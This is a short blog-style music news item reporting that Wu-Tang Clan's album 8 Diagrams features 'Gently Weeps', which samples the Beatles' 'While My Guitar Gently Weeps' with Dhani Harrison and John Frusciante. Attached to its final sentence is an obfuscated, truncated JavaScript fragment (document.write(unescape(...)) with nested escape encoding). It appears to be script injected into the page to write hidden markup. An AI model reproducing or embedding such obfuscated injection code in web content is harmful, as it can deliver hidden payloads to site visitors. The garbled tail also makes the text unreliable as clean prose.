Wu-Tang Clan cover Beatles

We all know rappers have a hard time doing anything original and a lot resort to "sampling" good songs, even classics, and putting their nonsense over it. Wu-Tang Clan are planning such a crime against a Beatles classic on their new album that may have George Harrison gently spinning in his grave.

Contact Music has the story: Rap supergroup the WU-TANG CLAN are giving the BEATLES an urban twist by reworking the Fab Four's WHILE MY GUITAR GENTLY WEEPS with GEORGE HARRISON's son for a new album. Group member RZA has revealed the eight-piece's fifth album, 8 Diagrams, will feature the track Gently Weeps, which heavily samples the Beatles classic.

And, to give the new version the stamp of approval, the Wu-Tang Clan asked Dhani Harrison to join them in the studio. Red Hot Chili Peppers star John Frusciante also joins the group on the track.document.write(unescape('\04564%6F%63um\145%6Et.%77r%69t\145\04528u%6E\04565s\04563ap\04565\04528\047\045253C%21%5C0\0645\062D%252D\047)\051;
